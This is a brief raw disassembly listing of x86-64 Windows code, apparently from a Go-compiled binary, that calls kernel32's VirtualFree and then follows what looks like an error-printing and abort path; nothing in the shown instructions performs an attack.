xor edx, edx
jmp 0x418200
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00434d00
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov edx, eax
mov rax, qword [rsp + 0x40]
nop
test dl, dl
jne 0x41818f
jmp 0x418175
call fcn.00466680
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
mov eax, dword [rsp]
mov qword [rsp + 0x30], rax
call fcn.00439560
lea rax, [0x006c653c]
mov ebx, 0x18
nop dword [rax + rax]
call fcn.00439e60
mov rax, qword [rsp + 0x38]
call fcn.00439b60
lea rax, [0x006c668c]
mov ebx, 0x19
nop dword [rax + rax]
call fcn.00439e60
mov rax, qword [rsp + 0x30]
call fcn.00439b60
call fcn.004397c0
call fcn.004395e0
lea rax, [0x006ca8c7]
mov ebx, 0x21
call fcn.00437ca0
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00462aa0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.004180e0